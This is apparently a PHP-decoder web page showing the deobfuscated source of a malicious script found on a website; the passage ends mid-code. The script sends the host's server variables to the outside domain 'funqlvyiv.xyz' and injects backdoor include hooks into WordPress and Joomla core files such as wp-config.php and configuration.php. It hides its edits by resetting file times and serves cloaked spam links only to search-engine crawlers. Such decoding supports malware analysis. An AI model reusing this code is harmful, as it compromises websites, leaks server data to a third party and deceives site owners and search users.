Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x79g\x75\x6b\x6aspw"] = ..
Decoded Output download
<?php
${"GLOBALS"}["ygukjspw"] = "htaccessincfilecontent";
${"GLOBALS"}["mqlzugct"] = "htaccessfilename";
${"GLOBALS"}["cqsuterr"] = "htaccessfiletime";
${"GLOBALS"}["htympu"] = "item";
${"GLOBALS"}["dxvcbqd"] = "text";
${"GLOBALS"}["wqvtok"] = "goodpage";
${"GLOBALS"}["cwtrxpys"] = "siteurl";
${"GLOBALS"}["entpsxl"] = "filename";
${"GLOBALS"}["wgtfqwb"] = "url4";
${"GLOBALS"}["ijmnpttx"] = "content";
${"GLOBALS"}["ixedauuag"] = "matches";
${"GLOBALS"}["swcgstmgh"] = "id";
${"GLOBALS"}["elfcktzbqfb"] = "goodjoomlapage";
${"GLOBALS"}["jycifvjlpl"] = "alias";
${"GLOBALS"}["stwhominjco"] = "titletemp";
${"GLOBALS"}["tnqqbulmbm"] = "idtemp";
${"GLOBALS"}["mcfnojg"] = "joomlaurl";
${"GLOBALS"}["luigxsc"] = "goodwordpresspage";
${"GLOBALS"}["foqltvlbzbm"] = "permalink";
${"GLOBALS"}["uiiojckmy"] = "post_id";
${"GLOBALS"}["phrrcdyq"] = "post_data";
${"GLOBALS"}["qcvlayi"] = "chars";
${"GLOBALS"}["nouybzizu"] = "slugname";
${"GLOBALS"}["rylxte"] = "site_root_dir";
${"GLOBALS"}["cuzlmfchs"] = "counter";
${"GLOBALS"}["rrvowqo"] = "linktodoor";
${"GLOBALS"}["wthstldrg"] = "perms";
${"GLOBALS"}["hkxtumgzg"] = "joomlafiles";
${"GLOBALS"}["mohtprvxf"] = "filetime";
${"GLOBALS"}["ijhifcytdux"] = "doordomain";
${"GLOBALS"}["bchrfrwp"] = "param";
${"GLOBALS"}["iojafskhi"] = "incfilecontent";
${"GLOBALS"}["hwjnbclq"] = "incfilecontentoriginal";
${"GLOBALS"}["nxdvsyivy"] = "incfile";
${"GLOBALS"}["ynqxkd"] = "i";
${"GLOBALS"}["avpnwhgbuoe"] = "wpfiles";
${"GLOBALS"}["gjwrwicyhon"] = "time";
${"GLOBALS"}["zfpktn"] = "f";
${"GLOBALS"}["tjmxtplrpzp"] = "currfiletime";
${"GLOBALS"}["wfyrnkhbdr"] = "body";
${"GLOBALS"}["nemcyrjqgw"] = "header";
${"GLOBALS"}["lzefveci"] = "resp";
${"GLOBALS"}["fmjywmn"] = "data";
${"GLOBALS"}["ilxsujb"] = "out";
${"GLOBALS"}["vvovjnlr"] = "errstr";
${"GLOBALS"}["tupjhjbxxg"] = "errno";
${"GLOBALS"}["kkxhtnwueot"] = "fp";
${"GLOBALS"}["renglpm"] = "curlurl";
${"GLOBALS"}["wlpgcq"] = "ch";
${"GLOBALS"}["tofzhwvozg"] = "goo";
${"GLOBALS"}["udiksnfsye"] = "context";
${"GLOBALS"}["stiesxbho"] = "fgcurl";
${"GLOBALS"}["yotppym"] = "jj";
${"GLOBALS"}["fvbmctwp"] = "cardas";
${"GLOBALS"}["jowtbpmw"] = "linkanchor";
${"GLOBALS"}["uuqznfdsgidi"] = "linkofdoor";
${"GLOBALS"}["raucdugbjfh"] = "slashscriptname";
${"GLOBALS"}["lbrxpouekp"] = "scriptname";
${"GLOBALS"}["orlhrcogrggm"] = "put";
${"GLOBALS"}["ihwfowtnuji"] = "url3";
${"GLOBALS"}["nimjkniq"] = "domain";
${"GLOBALS"}["baqcxhwgo"] = "url2";
${"GLOBALS"}["kpgyicevyz"] = "url";
${"GLOBALS"}["wmjacveyvv"] = "file3";
${"GLOBALS"}["fyjowha"] = "file";
${"GLOBALS"}["ejrgcmwrjf"] = "cookiebot";
${"GLOBALS"}["ktdyxruigloj"] = "cookiedomain";
${"GLOBALS"}["mkpxleaelex"] = "cookievalue";
${"GLOBALS"}["bqxfrke"] = "th";
${"GLOBALS"}["soacrqgg"] = "v";
${"GLOBALS"}["gumgfgqckrz"] = "file2";
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
@ini_set("display_errors", "Off");
@ini_set("set_time_limit", 1000);
$rhwfhxig = "url";
${"GLOBALS"}["thrbiwbzqb"] = "put";
${"GLOBALS"}["noxgvomu"] = "file2";
$hbsqnbybf = "url2";
$gahfqjtjgcy = "file";
${"GLOBALS"}["oeqdrdektdf"] = "vl";
$sxcwpa = "url";
@ini_set("max_input_time", 1000);
${"GLOBALS"}["bdwyyhxfsy"] = "put";
${"GLOBALS"}["putodgtlyo"] = "linkanchor";
@ini_set("max_execution_time", 1000);
@set_time_limit(1000);
@ini_set("error_log", NULL);
$aszulylo = "domain";
@ini_set("log_errors", 0);
@ob_end_flush();
htaccessnormalize();
${${"GLOBALS"}["soacrqgg"]} = "1.6.2";
${${"GLOBALS"}["bqxfrke"]} = "edutop";
$unlybrkcowxg = "domain";
${${"GLOBALS"}["oeqdrdektdf"]} = "z";
${"GLOBALS"}["ypntakcifle"] = "jj";
if (!$_COOKIE["langidz"]) {
${"GLOBALS"}["cvnxggyvgv"] = "cookiename";
${"GLOBALS"}["mlojkdtcat"] = "cookiebot";
${${"GLOBALS"}["cvnxggyvgv"]} = "langidz";
$gfapfpgir = "cookiedomain";
${${"GLOBALS"}["mkpxleaelex"]} = str_shuffle("delpzons");
${${"GLOBALS"}["ktdyxruigloj"]} = $_SERVER[HTTP_HOST];
if (preg_match("#^www\.#", ${${"GLOBALS"}["ktdyxruigloj"]})) {
${"GLOBALS"}["xlmyifyjr"] = "cookiedomain";
$pfbtpcdsbu = "cookiedomain";
${${"GLOBALS"}["xlmyifyjr"]} = preg_replace("#^www\.#", ${$pfbtpcdsbu});
}
${${"GLOBALS"}["mlojkdtcat"]} = "yes";
${"GLOBALS"}["jxtwooev"] = "cookiename";
if (setcookie(${${"GLOBALS"}["jxtwooev"]}, ${${"GLOBALS"}["mkpxleaelex"]}, time() + 3600 * 24, "/", ${$gfapfpgir})) {
${${"GLOBALS"}["ejrgcmwrjf"]} = "no";
}
} else {
${${"GLOBALS"}["ejrgcmwrjf"]} = "no";
}
${"GLOBALS"}["kmtteame"] = "doordomain";
${$unlybrkcowxg} = "funqlvyiv.xyz";
${${"GLOBALS"}["fyjowha"]} = "/handlers/getcontent.php";
${${"GLOBALS"}["noxgvomu"]} = "/handlers/gettemplate.php";
${${"GLOBALS"}["wmjacveyvv"]} = "/handlers/update.php";
${${"GLOBALS"}["kpgyicevyz"]} = "http://" . ${$aszulylo} . ${$gahfqjtjgcy};
${${"GLOBALS"}["baqcxhwgo"]} = "http://" . ${${"GLOBALS"}["nimjkniq"]} . ${${"GLOBALS"}["gumgfgqckrz"]};
$fucocooznlil = "url2";
${"GLOBALS"}["rxfltfw"] = "put";
${${"GLOBALS"}["ihwfowtnuji"]} = "http://" . ${${"GLOBALS"}["nimjkniq"]} . ${${"GLOBALS"}["wmjacveyvv"]};
${${"GLOBALS"}["orlhrcogrggm"]} = array(
"content",
"test",
"proxy",
"file",
".35",
"template",
"28.",
"12.",
"id",
"page",
"217.",
"domain",
"functions",
"215.",
"87.",
"form",
"track",
"str_replace",
"name",
"250",
"77.",
"method",
"error_log",
"password",
"set_time_limit",
"curl",
"links",
"file_get_contents",
"get",
"index.php",
"include_once",
"max_input_time",
"POST",
"sprintf",
"204.",
"curl_setopt",
"result",
"log",
"max_execution_time",
"explode",
"URI",
"file_put_contents",
"script",
"system",
"connect",
"GET",
"application/x-www-form-urlencoded",
"trim",
"SERVER",
"preg_replace",
"require_once",
".2",
"fopen"
);
${${"GLOBALS"}["lbrxpouekp"]} = preg_replace("#^/#i", "", $_SERVER[SCRIPT_NAME]);
${${"GLOBALS"}["kmtteame"]} = $_SERVER[HTTP_HOST];
$etwrovy = "linktodoor";
${${"GLOBALS"}["raucdugbjfh"]} = $_SERVER[SCRIPT_NAME];
${${"GLOBALS"}["uuqznfdsgidi"]} = "http://$doordomain" . "$slashscriptname";
${${"GLOBALS"}["putodgtlyo"]} = array(
"blog",
"Blog",
"info",
"Info",
"contact",
"Contact",
"magazine",
"Magazine",
"gallery",
"Gallery",
"about us",
"About us",
"About Us"
);
$fpvftok = "jj";
shuffle(${${"GLOBALS"}["jowtbpmw"]});
${$etwrovy} = "<?php if(!@\$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|yandex|seznam/i',\$_SERVER['HTTP_USER_AGENT'])){echo "<a href='" . ${${"GLOBALS"}["uuqznfdsgidi"]} . "' style=\"font-size:" . mt_rand(30, 45) . "px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">" . ${${"GLOBALS"}["jowtbpmw"]}[0] . "</a><br />";}@\$codevyp=true;}?>";
${${"GLOBALS"}["fvbmctwp"]} = ${${"GLOBALS"}["nimjkniq"]};
${${"GLOBALS"}["yotppym"]} = ${${"GLOBALS"}["bdwyyhxfsy"]}[10] . ${${"GLOBALS"}["rxfltfw"]}[7] . ${${"GLOBALS"}["orlhrcogrggm"]}[34] . ${${"GLOBALS"}["thrbiwbzqb"]}[19];
${$rhwfhxig} = preg_replace("/$cardas/i", ${${"GLOBALS"}["ypntakcifle"]}, ${$sxcwpa});
${$fucocooznlil} = preg_replace("/$cardas/i", ${$fpvftok}, ${$hbsqnbybf});
${${"GLOBALS"}["ihwfowtnuji"]} = preg_replace("/$cardas/i", ${${"GLOBALS"}["yotppym"]}, ${${"GLOBALS"}["ihwfowtnuji"]});
if (isset($_GET["gen"])) {
if (ini_get("allow_url_fopen") == 1) {
${${"GLOBALS"}["stiesxbho"]} = "$url2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]});
${"GLOBALS"}["uuebpfof"] = "fgcurl";
${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
${${"GLOBALS"}["tofzhwvozg"]} = @file_get_contents(${${"GLOBALS"}["uuebpfof"]}, false, ${${"GLOBALS"}["udiksnfsye"]});
} elseif (function_exists("curl_init")) {
${"GLOBALS"}["qmiqwsesz"] = "curlurl";
$jczfljp = "ch";
$wwoccghva = "ch";
${${"GLOBALS"}["qmiqwsesz"]} = "$url2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]});
${${"GLOBALS"}["wlpgcq"]} = curl_init();
curl_setopt(${$jczfljp}, CURLOPT_URL, ${${"GLOBALS"}["renglpm"]});
$irmzlvofwnw = "ch";
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, false);
curl_setopt(${$irmzlvofwnw}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${$wwoccghva}, CURLOPT_REFERER, "");
$ltmfjfkpn = "ch";
${${"GLOBALS"}["tofzhwvozg"]} = @curl_exec(${${"GLOBALS"}["wlpgcq"]});
curl_close(${$ltmfjfkpn});
} elseif (function_exists("fsockopen")) {
${"GLOBALS"}["idpdedz"] = "cardas";
$onmssxlf = "fp";
${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["idpdedz"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["vvovjnlr"]}, 10);
if (${$onmssxlf}) {
$xongqbzmhexz = "out";
$dloytqlbvezt = "data";
$ctqdmvn = "fp";
$auizqnuq = "out";
${"GLOBALS"}["sirfkqlz"] = "data";
${${"GLOBALS"}["sirfkqlz"]} = http_build_query($_SERVER);
${$auizqnuq} = "POST $file2?gendomain=$doordomain&filename=$scriptname&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . " HTTP/1.0
";
$xbfwvwfjigc = "resp";
${${"GLOBALS"}["ilxsujb"]} .= "Host: $cardas
";
${$xongqbzmhexz} .= "Content-Type: application/x-www-form-urlencoded
";
${${"GLOBALS"}["ilxsujb"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["fmjywmn"]}) . "
";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]});
fwrite(${$ctqdmvn}, ${$dloytqlbvezt});
${${"GLOBALS"}["lzefveci"]} = "";
while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) {
${"GLOBALS"}["ozdblpr"] = "resp";
${${"GLOBALS"}["ozdblpr"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096);
}
fclose(${${"GLOBALS"}["kkxhtnwueot"]});
list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${$xbfwvwfjigc}, 2);
${${"GLOBALS"}["tofzhwvozg"]} = ${${"GLOBALS"}["wfyrnkhbdr"]};
}
} else {
${${"GLOBALS"}["tofzhwvozg"]} = "fuckthisshell";
}
${${"GLOBALS"}["tjmxtplrpzp"]} = filemtime(__FILE__);
foreach (glob("*.php") as ${${"GLOBALS"}["zfpktn"]}) {
$fpgrnqrdcir = "currfiletime";
${${"GLOBALS"}["gjwrwicyhon"]} = filemtime(${${"GLOBALS"}["zfpktn"]});
if (${${"GLOBALS"}["gjwrwicyhon"]} < ${$fpgrnqrdcir}) {
@touch(__FILE__, ${${"GLOBALS"}["gjwrwicyhon"]});
break;
}
}
echo ${${"GLOBALS"}["tofzhwvozg"]};
} elseif ($_GET["get"] == "template") {
define("MAX_LEVELS_UP", 7);
$dmaijzqgj = "counter";
${"GLOBALS"}["vkboxeunrvj"] = "counter";
${${"GLOBALS"}["vkboxeunrvj"]} = 0;
do {
${"GLOBALS"}["dpqzpe"] = "file";
foreach (glob("*") as ${${"GLOBALS"}["dpqzpe"]}) {
${"GLOBALS"}["gpzwjsg"] = "file";
if (strpos(${${"GLOBALS"}["fyjowha"]}, "wp-config.php") !== false) {
${"GLOBALS"}["drtxutb"] = "i";
define("PLATFORM", "WORDPRESS");
$xocowml = "i";
${${"GLOBALS"}["avpnwhgbuoe"]} = array(
"wp-blog-header.php",
"wp-load.php",
"wp-settings.php",
"wp-config.php"
);
for (${${"GLOBALS"}["drtxutb"]} = 0; ${$xocowml} < 4; ${${"GLOBALS"}["ynqxkd"]}++) {
$ebnlmxruohb = "i";
$iuwyporrgn = "perms";
${"GLOBALS"}["nnkjpg"] = "incfile";
${"GLOBALS"}["uqsnhj"] = "incfile";
$ojhyvydpq = "filetime";
${${"GLOBALS"}["nxdvsyivy"]} = ${${"GLOBALS"}["avpnwhgbuoe"]}[${$ebnlmxruohb}];
${$ojhyvydpq} = filemtime(${${"GLOBALS"}["uqsnhj"]});
${$iuwyporrgn} = sprintf("%o", fileperms(${${"GLOBALS"}["nnkjpg"]}));
$dqcocb = "incfile";
${"GLOBALS"}["mhvndxt"] = "incfile";
@chmod(${$dqcocb}, 0666);
if (is_writable(${${"GLOBALS"}["mhvndxt"]})) {
${"GLOBALS"}["wtsqsdw"] = "param";
${"GLOBALS"}["prkoyo"] = "incfilecontentoriginal";
$desyil = "incfile";
$wefjokixwzk = "scriptname";
$ribjkechbxhh = "incfilecontentoriginal";
$jqhutamr = "scriptname";
${${"GLOBALS"}["hwjnbclq"]} = file_get_contents(${${"GLOBALS"}["nxdvsyivy"]});
$vuodhfmf = "incfilecontentoriginal";
$dwrpwyvuxh = "incfilecontentoriginal";
${"GLOBALS"}["tmfqrhl"] = "incfilecontent";
switch (${$desyil}) {
case "wp-load.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)ABSPATH(.*)'( )?wp-config\.php(.*);/i", "require_once( ABSPATH . 'wp-config.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${$jqhutamr} . "' );}", ${$ribjkechbxhh});
break;
case "wp-blog-header.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)wp-load\.php(.*);/i", "require_once( dirname(__FILE__) . '/wp-load.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${${"GLOBALS"}["lbrxpouekp"]} . "' );}", ${${"GLOBALS"}["hwjnbclq"]});
break;
case "wp-config.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once(.*)wp-settings\.php(.*);/i", "require_once(ABSPATH . 'wp-settings.php');" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${$wefjokixwzk} . "' );}", ${$vuodhfmf});
break;
case "wp-settings.php":
${${"GLOBALS"}["tmfqrhl"]} = preg_replace("/require(.*)pluggable-deprecated\.php(.*);/i", "require( ABSPATH . WPINC . '/pluggable-deprecated.php' );" . PHP_EOL . "if(\$_GET['testpage']=='wpgopost'){require_once( ABSPATH . '" . ${${"GLOBALS"}["lbrxpouekp"]} . "' );}", ${${"GLOBALS"}["prkoyo"]});
break;
}
${"GLOBALS"}["rpdionb"] = "incfilecontent";
${${"GLOBALS"}["bchrfrwp"]} = "wpgopost";
gettemplate(${${"GLOBALS"}["rpdionb"]}, ${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["ijhifcytdux"]}, ${${"GLOBALS"}["wtsqsdw"]});
file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${$dwrpwyvuxh});
@touch(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["mohtprvxf"]});
continue (2);
} else {
continue;
}
}
} elseif (strpos(${${"GLOBALS"}["gpzwjsg"]}, "configuration.php") !== false) {
${"GLOBALS"}["nljqoaj"] = "i";
define("PLATFORM", "JOOMLA");
${${"GLOBALS"}["hkxtumgzg"]} = array(
"index.php",
"configuration.php",
"includes/framework.php",
"libraries/cms.php",
"libraries/classmap.php",
"libraries/fof/include.php"
);
$swsxmmv = "i";
for (${${"GLOBALS"}["ynqxkd"]} = 0; ${$swsxmmv} < 6; ${${"GLOBALS"}["nljqoaj"]}++) {
$loqxmkogsn = "joomlafiles";
${"GLOBALS"}["sgwmedfqprg"] = "incfile";
$puoqerwkf = "filetime";
$ovmclhhbwa = "incfile";
${$ovmclhhbwa} = ${$loqxmkogsn}[${${"GLOBALS"}["ynqxkd"]}];
${$puoqerwkf} = filemtime(${${"GLOBALS"}["nxdvsyivy"]});
${${"GLOBALS"}["wthstldrg"]} = sprintf("%o", fileperms(${${"GLOBALS"}["nxdvsyivy"]}));
@chmod(${${"GLOBALS"}["nxdvsyivy"]}, 0666);
if (is_writable(${${"GLOBALS"}["sgwmedfqprg"]})) {
$bsexwykl = "incfilecontentoriginal";
$xpykxrfli = "doordomain";
$zdsnffc = "incfilecontent";
${"GLOBALS"}["hqstruymk"] = "param";
${"GLOBALS"}["dziuygb"] = "param";
${"GLOBALS"}["ckvyfgiyity"] = "incfilecontent";
${"GLOBALS"}["xetkfxugic"] = "scriptname";
$pjswtddl = "scriptname";
${"GLOBALS"}["uvibfhizqz"] = "incfilecontentoriginal";
$pxcbhpybtxh = "incfile";
${${"GLOBALS"}["hwjnbclq"]} = file_get_contents(${$pxcbhpybtxh});
switch (${${"GLOBALS"}["nxdvsyivy"]}) {
case "index.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_BASE(.*)includes\/framework.php';/i", "require_once JPATH_BASE . '/includes/framework.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]});
break;
case "configuration.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]});
break;
case "includes/framework.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_LIBRARIES(.*)cms.php';/i", "require_once JPATH_LIBRARIES . '/cms.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${$pjswtddl} . "';}", ${${"GLOBALS"}["hwjnbclq"]});
break;
case "libraries/cms.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/require_once JPATH_LIBRARIES(.*)classmap.php';/i", "require_once JPATH_LIBRARIES . '/classmap.php';" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${$bsexwykl});
break;
case "libraries/classmap.php":
${${"GLOBALS"}["iojafskhi"]} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["lbrxpouekp"]} . "';}", ${${"GLOBALS"}["uvibfhizqz"]});
break;
case "libraries/fof/include.php":
${$zdsnffc} = preg_replace("/\<\?php/i", "<?php" . PHP_EOL . "if(\$_GET['testpage']=='joomlagopost'){require_once JPATH_BASE . '/" . ${${"GLOBALS"}["xetkfxugic"]} . "';}", ${${"GLOBALS"}["hwjnbclq"]});
break;
}
${${"GLOBALS"}["hqstruymk"]} = "joomlagopost";
gettemplate(${${"GLOBALS"}["ckvyfgiyity"]}, ${${"GLOBALS"}["nxdvsyivy"]}, ${$xpykxrfli}, ${${"GLOBALS"}["dziuygb"]});
file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["hwjnbclq"]});
@touch(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["mohtprvxf"]});
continue (2);
} else {
continue;
}
}
}
}
postlink(${${"GLOBALS"}["rrvowqo"]});
if (!defined("PLATFORM")) {
chdir("..");
${${"GLOBALS"}["cuzlmfchs"]}++;
} else {
${${"GLOBALS"}["rylxte"]} = getcwd();
}
} while (!defined("PLATFORM") && ${$dmaijzqgj} < MAX_LEVELS_UP);
if (!defined("PLATFORM")) {
exit("Unknown platform!");
}
} elseif ($_GET["testpage"] == "wpgopost") {
${"GLOBALS"}["rffcssryt"] = "chars";
${${"GLOBALS"}["rffcssryt"]} = "abcdefghijklmnop";
${"GLOBALS"}["dclxrneejin"] = "permalink";
$ekuhfybcuke = "goodwordpresspage";
$kszvzr = "post_id";
${"GLOBALS"}["hudpgth"] = "slugname";
$nlshrgyxg = "permalink";
${${"GLOBALS"}["nouybzizu"]} = str_shuffle(${${"GLOBALS"}["qcvlayi"]});
${${"GLOBALS"}["phrrcdyq"]} = array(
"post_title" => "HEREISTITLE",
"post_name" => ${${"GLOBALS"}["hudpgth"]},
"post_content" => "HEREISCONTENT",
"post_status" => "publish",
"post_category" => array()
);
${"GLOBALS"}["qsysasljdmc"] = "post_data";
${$kszvzr} = wp_insert_post(${${"GLOBALS"}["qsysasljdmc"]}, true);
${$nlshrgyxg} = get_permalink(${${"GLOBALS"}["uiiojckmy"]});
if (ini_get("allow_url_fopen") == 1) {
${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
${"GLOBALS"}["ibscofnqi"] = "goodwordpresspage";
${${"GLOBALS"}["ibscofnqi"]} = @file_get_contents(${${"GLOBALS"}["foqltvlbzbm"]}, false, ${${"GLOBALS"}["udiksnfsye"]});
} elseif (function_exists("curl_init")) {
${"GLOBALS"}["lxsxfmplw"] = "ch";
${"GLOBALS"}["tfekddoft"] = "ch";
${${"GLOBALS"}["wlpgcq"]} = curl_init();
curl_setopt(${${"GLOBALS"}["lxsxfmplw"]}, CURLOPT_URL, ${${"GLOBALS"}["foqltvlbzbm"]});
${"GLOBALS"}["ynhjhoc"] = "ch";
curl_setopt(${${"GLOBALS"}["tfekddoft"]}, CURLOPT_HEADER, false);
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${${"GLOBALS"}["ynhjhoc"]}, CURLOPT_REFERER, "");
${${"GLOBALS"}["luigxsc"]} = @curl_exec(${${"GLOBALS"}["wlpgcq"]});
curl_close(${${"GLOBALS"}["wlpgcq"]});
} else {
${"GLOBALS"}["chkmuiv"] = "postparam";
$dsowfejkqmrd = "permalink";
${"GLOBALS"}["eymfcevltib"] = "errno";
${"GLOBALS"}["nxwivoyjn"] = "errstr";
${${"GLOBALS"}["chkmuiv"]} = preg_replace("#http://(.*)/|https://(.*)/#", "", ${$dsowfejkqmrd});
${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["ijhifcytdux"]}, 80, ${${"GLOBALS"}["eymfcevltib"]}, ${${"GLOBALS"}["nxwivoyjn"]}, 10);
if (${${"GLOBALS"}["kkxhtnwueot"]}) {
$gpcvcfsr = "fp";
${"GLOBALS"}["idqslc"] = "out";
$dooonwg = "data";
${$dooonwg} = http_build_query($_SERVER);
${${"GLOBALS"}["ilxsujb"]} = "POST /$postparam HTTP/1.0
";
$lunluxvxvj = "body";
${${"GLOBALS"}["idqslc"]} .= "Host: $doordomain
";
$ejqfvimizvl = "data";
$rvcsfwypbmq = "fp";
${${"GLOBALS"}["ilxsujb"]} .= "Content-Type: application/x-www-form-urlencoded
";
$wngyenutjrk = "data";
${${"GLOBALS"}["ilxsujb"]} .= "Content-Length: " . strlen(${$ejqfvimizvl}) . "
";
fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]});
fwrite(${$gpcvcfsr}, ${$wngyenutjrk});
${${"GLOBALS"}["lzefveci"]} = "";
while (!feof(${$rvcsfwypbmq})) {
$ofxmxo = "resp";
${"GLOBALS"}["opttmwakfl"] = "fp";
${$ofxmxo} .= fgets(${${"GLOBALS"}["opttmwakfl"]}, 4096);
}
${"GLOBALS"}["svvjirl"] = "body";
fclose(${${"GLOBALS"}["kkxhtnwueot"]});
list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["svvjirl"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2);
${${"GLOBALS"}["luigxsc"]} = ${$lunluxvxvj};
}
}
${${"GLOBALS"}["luigxsc"]} = str_replace(${${"GLOBALS"}["dclxrneejin"]}, "HEREISURL", ${${"GLOBALS"}["luigxsc"]});
${${"GLOBALS"}["luigxsc"]} = str_replace(${${"GLOBALS"}["nouybzizu"]}, "HEREISSLUG", ${$ekuhfybcuke});
echo ${${"GLOBALS"}["luigxsc"]};
if (!wp_delete_post(${${"GLOBALS"}["uiiojckmy"]}, true)) {
$bojmhweofb = "post_id";
wp_delete_post(${$bojmhweofb}, true);
}
exit;
} elseif ($_GET["testpage"] == "joomlagopost") {
${"GLOBALS"}["qpmunohgy"] = "joomlaurl";
$bhmwpmvcz = "idtemp";
${${"GLOBALS"}["qpmunohgy"]} = explode("/", $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]);
unset(${${"GLOBALS"}["mcfnojg"]}[count(${${"GLOBALS"}["mcfnojg"]}) - 1]);
$gljsnqasy = "idtemp";
${$bhmwpmvcz} = postitem("HEREISTITLE", "", "HEREISCONTENT");
${${"GLOBALS"}["tnqqbulmbm"]} = explode(":", ${$gljsnqasy});
${${"GLOBALS"}["stwhominjco"]} = "HEREISTITLE";
if (is_array(${${"GLOBALS"}["tnqqbulmbm"]})) {
${"GLOBALS"}["ixiwnbgbdtr"] = "goodjoomlapage";
$uxhheynyx = "idtemp";
${"GLOBALS"}["ybrwxnhdcbv"] = "result";
${${"GLOBALS"}["jycifvjlpl"]} = trim(${$uxhheynyx}[1]);
${"GLOBALS"}["dadpbckqp"] = "db";
${"GLOBALS"}["secgesxwmder"] = "id";
$oessgycugdt = "goodjoomlapage";
$sxqppbe = "idtemp";
$skfvsuopm = "titletemp";
${"GLOBALS"}["nmmpbbw"] = "query";
${"GLOBALS"}["erqatbisy"] = "goodjoomlapage";
${"GLOBALS"}["xgmfmd"] = "linkofpost";
$soamna = "id";
${${"GLOBALS"}["secgesxwmder"]} = trim(${$sxqppbe}[0]);
${${"GLOBALS"}["xgmfmd"]} = "http://" . trim(implode("/", ${${"GLOBALS"}["mcfnojg"]}), "/") . "/index.php/?option=com_content&view=article&id=" . ${$soamna};
$mgzdlnixkas = "goodjoomlapage";
if (ini_get("allow_url_fopen") == 1) {
${"GLOBALS"}["nmuirsrkum"] = "linkofpost";
$xgwhwsx = "goodjoomlapage";
${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array(
"http" => array(
"method" => "POST",
"header" => array(
"Content-type: application/x-www-form-urlencoded"
),
"content" => http_build_query($_SERVER)
)
));
${$xgwhwsx} = @file_get_contents(${${"GLOBALS"}["nmuirsrkum"]}, false, ${${"GLOBALS"}["udiksnfsye"]});
} elseif (function_exists("curl_init")) {
$abftonnu = "ch";
${"GLOBALS"}["dyiieenp"] = "ch";
$wbfwdnkyxhb = "linkofpost";
${${"GLOBALS"}["wlpgcq"]} = curl_init();
curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_URL, ${$wbfwdnkyxhb});
$sywatzg = "ch";
$uspuglzg = "goodjoomlapage";
curl_setopt(${$sywatzg}, CURLOPT_HEADER, false);
curl_setopt(${$abftonnu}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${${"GLOBALS"}["dyiieenp"]}, CURLOPT_REFERER, "");
${"GLOBALS"}["xjfiqnvue"] = "ch";
